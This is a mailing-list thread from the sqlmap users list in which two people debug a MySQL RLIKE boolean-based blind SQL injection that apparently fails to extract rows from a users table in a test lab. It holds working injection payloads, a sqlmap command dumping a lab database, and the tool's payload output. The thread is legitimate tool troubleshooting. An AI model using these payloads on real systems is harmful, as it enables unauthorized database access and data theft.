BTW I hope this doesn’t come across as it being a problem with sqlmap, I think it is a problem with the local system’s mysql instance, just trying to figure out why an RLIKE injection would allow enumeration of DATABASE() but not from the users table. I figured I would ask this list if anyone else had experienced similar, though.
‘admin’ is the only user in the database, so I know it is the only row that could be returned, but order by presents the same results… mysql> select ORD(MID((SELECT `name` from users order by id LIMIT 0,1),1,1)); +----------------------------------------------------------------+ | ORD(MID((SELECT `name` from users order by id LIMIT 0,1),1,1)) | +----------------------------------------------------------------+ | 97 | +----------------------------------------------------------------+ 1 row in set (0.00 sec) mysql> SELECT 'm' FROM DUAL WHERE 1=1 RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT `name` from users order by id LIMIT 0,1),1,1)) > 112) THEN 0x7474747474 ELSE 0x28 END)); Empty set (0.00 sec) Might just need to say it is some quirk on the exploitable system’s MySQL instance… It’s a little bizarre. mysql Ver 14.14 Distrib 5.6.19, for Linux (x86_64) using EditLine wrapper > On Feb 22, 2015, at 7:31 AM, Miroslav Stampar <miroslav.stam...@gmail.com> > wrote: > > Hi again. > > I believe that we have a problem here. I am trying to reproduce your > "problem" and can't do it: > > mysql> select * from users; > +----+--------+----------------------------------+ > | id | name | surname | > +----+--------+----------------------------------+ > | 1 | admin | blissett | > | 2 | fluffy | bunny | > | 3 | wu | ming | > | 4 | NULL | nameisnull | > | 5 | md5 | 098f6bcd4621d373cade4e832627b4f6 | > +----+--------+----------------------------------+ > 5 rows in set (0.00 sec) > mysql> SELECT 'm' FROM DUAL WHERE 1=1 RLIKE (SELECT (CASE WHEN > (ORD(MID((SELECT DATABASE()),1,1)) > 112) THEN 0x7474747474 ELSE 0x28 END)); > Empty set (0.00 sec) > mysql> SELECT 'm' FROM DUAL WHERE 1=1 RLIKE (SELECT (CASE WHEN > (ORD(MID((SELECT 'a'),1,1)) > 112) THEN 0x7474747474 ELSE 0x28 END)); > ERROR 1139 (42000): Got error 'parentheses not balanced' from regexp > mysql> SELECT 'm' FROM DUAL WHERE 1=1 RLIKE (SELECT (CASE WHEN > (ORD(MID((SELECT `name` from users LIMIT 0,1),1,1)) > 112) THEN 0x7474747474 > ELSE 0x28 END)); > ERROR 1139 (42000): Got error 'parentheses not balanced' from regexp > mysql> SELECT `name` from users LIMIT 0,1; > +-------+ > | name | > +-------+ > | admin | > +-------+ > 1 row in set (0.00 sec) > mysql> > > I believe that you have a problem with order of returned results. You can't > expect query results to be returned in deterministic way. That's just how the > DBMS works. > > Also, that's why we use ORDER BY wherever we can, to skip this kind of > problems. If you take a look into -v 3 of your run in sqlmap you'll see that > it uses "ORDER BY", while you don't use in your case: > > [14:30:20] [PAYLOAD] 1 RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT > IFNULL(CAST(name AS CHAR),0x20) FROM testdb.users ORDER BY id LIMIT > 0,1),6,1))>2) THEN 1 ELSE 0 x28 END)) > > Kind regards, > Miroslav Stampar > > On Sun, Feb 22, 2015 at 2:16 PM, Miroslav Stampar <miroslav.stam...@gmail.com > <mailto:miroslav.stam...@gmail.com>> wrote: > "I only bring it up because sql map has no problem grabbing the database with > rlike but can't enumerate the values from the user table" > > $ python sqlmap.py -u "http://192.168.223.129/sqlmap/mysql/get_int.php?id=1 > <http://192.168.223.129/sqlmap/mysql/get_int.php?id=1>" --batch > --test-filter="RLIKE" --dump -D testdb -T users > > ... > > sqlmap identified the following injection points with a total of 0 HTTP(s) > reque > sts: > --- > Parameter: id (GET) > Type: boolean-based blind > Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP > BY > clause > Payload: id=1 RLIKE (SELECT (CASE WHEN (7668=7668) THEN 1 ELSE 0x28 END)) > --- > ... > > [14:14:52] [INFO] postprocessing table dump > Database: testdb > Table: users > [5 entries] > +----+--------+-----------------------------------------+ > | id | name | surname | > +----+--------+-----------------------------------------+ > | 1 | luther | blissett | > | 2 | fluffy | bunny | > | 3 | wu | ming | > | 4 | NULL | nameisnull | > | 5 | md5 | 098f6bcd4621d373cade4e832627b4f6 (test) | > +----+--------+-----------------------------------------+ > > On Sat, Feb 21, 2015 at 10:59 PM, Brandon Perry <bperry.volat...@gmail.com > <mailto:bperry.volat...@gmail.com>> wrote: > Right, in the sql statement where I select 'a', the ord of this is not > greater than 112, and it fails as expected with parens not balanced. > > The query below this that selects the first name from users should be > functionally equivalent to select 'a' as mid is used to select the first > character of the first username which is 'admin' as shown, but this statement > does not fail as expected. > > I am at a loss as to why the latter does not fail when the inner select is > functionally equivalent to select 'a', and the former fails as expected. > > I only bring it up because sql map has no problem grabbing the database with > rlike but can't enumerate the values from the user table, and I logged into > the server as root to try to figure out what the issue might be and this > seems to be the root cause. > > Sent from a phone > > On Feb 21, 2015, at 3:35 PM, Miroslav Stampar <miroslav.stam...@gmail.com > <mailto:miroslav.stam...@gmail.com>> wrote: > >> Hi. >> >> Maybe I've mistaken, but you are looking this RLIKE wrong. Its function here >> (in your case) is to PROVOKE errors on False, and that's exactly what's >> going on here. >> >> In case of True, RLIKE is called with perfectly valid 0x7474747474, while in >> case of False its called with errorneous regexp 0x28 ('parentheses not >> balanced'). >> >> Bye >> >> On Sat, Feb 21, 2015 at 8:21 PM, Brandon Perry <bperry.volat...@gmail.com >> <mailto:bperry.volat...@gmail.com>> wrote: >> Have an injection that I can use RLIKE to induce a 500 error, but it only >> works in some circumstances. Enumerating the DATABASE() value works, as well >> as the current user, but enumerating values from the database tables fails. >> Even as root on the box, the RLIKE query fails to throw an exception when >> attempting to use RLIKE in some instances. >> >> As you can see in the output below, the user can select the first name value >> from the users table (which is ‘admin’). When using RLIKE to test the first >> character returned with DATABASE() (a ‘p’), you get the parentheses not >> balanced exception as expected. You also get this exception when simply >> selecting ‘a’. >> >> But when you select the first row from the users table and grab the first >> character (an ‘a’), no exception is thrown and an empty result set is >> returned. >> >> Any thoughts? >> >> mysql> SELECT 'm' FROM DUAL WHERE 1=1 RLIKE (SELECT (CASE WHEN >> (ORD(MID((SELECT DATABASE()),1,1)) > 112) THEN 0x7474747474 ELSE 0x28 END)); >> ERROR 1139 (42000): Got error 'parentheses not balanced' from regexp >> >> mysql> SELECT 'm' FROM DUAL WHERE 1=1 RLIKE (SELECT (CASE WHEN >> (ORD(MID((SELECT 'a'),1,1)) > 112) THEN 0x7474747474 ELSE 0x28 END)); >> ERROR 1139 (42000): Got error 'parentheses not balanced' from regexp >> >> mysql> SELECT 'm' FROM DUAL WHERE 1=1 RLIKE (SELECT (CASE WHEN >> (ORD(MID((SELECT `name` from users LIMIT 0,1),1,1)) > 112) THEN 0x7474747474 >> ELSE 0x28 END)); >> Empty set (0.01 sec) >> >> mysql> SELECT `name` from users LIMIT 0,1; >> +-------+ >> | name | >> +-------+ >> | admin | >> +-------+ >> 1 row in set (0.00 sec) >> >> mysql> >> >> ------------------------------------------------------------------------------ >> Download BIRT iHub F-Type - The Free Enterprise-Grade BIRT Server >> from Actuate! Instantly Supercharge Your Business Reports and Dashboards >> with Interactivity, Sharing, Native Excel Exports, App Integration & more >> Get technology previously reserved for billion-dollar corporations, FREE >> http://pubads.g.doubleclick.net/gampad/clk?id=190641631&iu=/4140/ostg.clktrk >> <http://pubads.g.doubleclick.net/gampad/clk?id=190641631&iu=/4140/ostg.clktrk> >> _______________________________________________ >> sqlmap-users mailing list >> sqlmap-users@lists.sourceforge.net >> <mailto:sqlmap-users@lists.sourceforge.net> >> https://lists.sourceforge.net/lists/listinfo/sqlmap-users >> <https://lists.sourceforge.net/lists/listinfo/sqlmap-users> >> >> >> >> >> -- >> Miroslav Stampar >> http://about.me/stamparm <http://about.me/stamparm> > > > -- > Miroslav Stampar > http://about.me/stamparm <http://about.me/stamparm> > > > -- > Miroslav Stampar > http://about.me/stamparm <http://about.me/stamparm>
signature.asc
Description: Message signed with OpenPGP using GPGMail
------------------------------------------------------------------------------ Download BIRT iHub F-Type - The Free Enterprise-Grade BIRT Server from Actuate! Instantly Supercharge Your Business Reports and Dashboards with Interactivity, Sharing, Native Excel Exports, App Integration & more Get technology previously reserved for billion-dollar corporations, FREE http://pubads.g.doubleclick.net/gampad/clk?id=190641631&iu=/4140/ostg.clktrk
_______________________________________________ sqlmap-users mailing list sqlmap-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/sqlmap-users